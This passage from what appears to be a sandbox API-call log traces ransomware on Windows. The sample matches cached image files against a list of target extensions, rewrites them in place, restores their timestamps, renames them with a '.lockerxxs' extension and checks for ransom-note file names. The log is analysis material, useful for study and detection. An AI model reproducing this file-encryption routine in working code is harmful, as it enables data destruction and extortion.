Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.fdb") returned 0 [0082.789] lstrlenA (lpString="*.fdb") returned 5 [0082.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.wab") returned 0 [0082.789] lstrlenA (lpString="*.wab") returned 5 [0082.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.dat") returned 0 [0082.789] lstrlenA (lpString="*.dat") returned 5 [0082.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.txt") returned 0 [0082.789] lstrlenA (lpString="*.txt") returned 5 [0082.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.jpeg") returned 0 [0082.789] lstrlenA (lpString="*.jpeg") returned 6 [0082.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.jpg") returned 1 [0082.789] lstrlenA (lpString="*.jpg") returned 5 [0082.789] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" [0082.789] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" [0082.789] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg." [0082.789] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.lockerxxs" [0082.789] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.790] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x278e [0082.790] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458308d0, dwHighDateTime=0x1d2faf3)) returned 1 [0082.790] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.790] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2768, lpOverlapped=0x0) returned 1 [0082.792] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg") returned="AAmo09p[1].jpg" [0082.793] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.793] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2768, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2768, lpOverlapped=0x0) returned 1 [0082.793] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.793] CloseHandle (hObject=0xa4) returned 1 [0082.794] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg.lockerxxs")) returned 1 [0082.795] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45bc29d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAmUyV2[1].png", cAlternateFileName="AAMUYV~1.PNG")) returned 1 [0082.795] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.795] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAmUyV2[1].png") returned 1 [0082.795] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAmUyV2[1].png") returned 1 [0082.795] lstrcmpiA (lpString1="", lpString2="AAmUyV2[1].png") returned -1 [0082.795] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg") returned="AAmo09p[1].jpg" [0082.795] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.795] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.795] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.796] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.796] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AAmUyV2[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.ems") returned 0 [0082.796] lstrlenA (lpString="*.ems") returned 5 [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.db") returned 0 [0082.796] lstrlenA (lpString="*.db") returned 4 [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.dbf") returned 0 [0082.796] lstrlenA (lpString="*.dbf") returned 5 [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.myox") returned 0 [0082.796] lstrlenA (lpString="*.myox") returned 6 [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.myo") returned 0 [0082.796] lstrlenA (lpString="*.myo") returned 5 [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qbw") returned 0 [0082.796] lstrlenA (lpString="*.qbw") returned 5 [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qbb") returned 0 [0082.796] lstrlenA (lpString="*.qbb") returned 5 [0082.796] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qbm") returned 0 [0082.797] lstrlenA (lpString="*.qbm") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qbo") returned 0 [0082.797] lstrlenA (lpString="*.qbo") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qbx") returned 0 [0082.797] lstrlenA (lpString="*.qbx") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qba") returned 0 [0082.797] lstrlenA (lpString="*.qba") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qby") returned 0 [0082.797] lstrlenA (lpString="*.qby") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qbj") returned 0 [0082.797] lstrlenA (lpString="*.qbj") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.ofx") returned 0 [0082.797] lstrlenA (lpString="*.ofx") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.qif") returned 0 [0082.797] lstrlenA (lpString="*.qif") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.mye") returned 0 [0082.797] lstrlenA (lpString="*.mye") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.mbox") returned 0 [0082.797] lstrlenA (lpString="*.mbox") returned 6 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.eml") returned 0 [0082.797] lstrlenA (lpString="*.eml") returned 5 [0082.797] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.pst") returned 0 [0082.797] lstrlenA (lpString="*.pst") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.ost") returned 0 [0082.798] lstrlenA (lpString="*.ost") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.idx") returned 0 [0082.798] lstrlenA (lpString="*.idx") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.dbx") returned 0 [0082.798] lstrlenA (lpString="*.dbx") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.sql") returned 0 [0082.798] lstrlenA (lpString="*.sql") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.mdb") returned 0 [0082.798] lstrlenA (lpString="*.mdb") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.fdb") returned 0 [0082.798] lstrlenA (lpString="*.fdb") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.wab") returned 0 [0082.798] lstrlenA (lpString="*.wab") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.dat") returned 0 [0082.798] lstrlenA (lpString="*.dat") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.txt") returned 0 [0082.798] lstrlenA (lpString="*.txt") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.jpeg") returned 0 [0082.798] lstrlenA (lpString="*.jpeg") returned 6 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.jpg") returned 0 [0082.798] lstrlenA (lpString="*.jpg") returned 5 [0082.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", pszSpec="*.png") returned 1 [0082.798] lstrlenA (lpString="*.png") returned 5 [0082.798] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" [0082.799] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" [0082.799] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png." [0082.799] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.lockerxxs" [0082.799] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.799] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19a [0082.799] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3)) returned 1 [0082.799] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.799] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x174, lpOverlapped=0x0) returned 1 [0082.801] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png") returned="AAmUyV2[1].png" [0082.801] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.801] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x174, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x174, lpOverlapped=0x0) returned 1 [0082.802] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.802] CloseHandle (hObject=0xa4) returned 1 [0082.809] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png.lockerxxs")) returned 1 [0082.811] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45798350, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAn7gKR[1].png", cAlternateFileName="AAN7GK~1.PNG")) returned 1 [0082.811] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.811] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAn7gKR[1].png") returned 1 [0082.811] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAn7gKR[1].png") returned 1 [0082.811] lstrcmpiA (lpString1="", lpString2="AAn7gKR[1].png") returned -1 [0082.811] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png") returned="AAmUyV2[1].png" [0082.811] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS 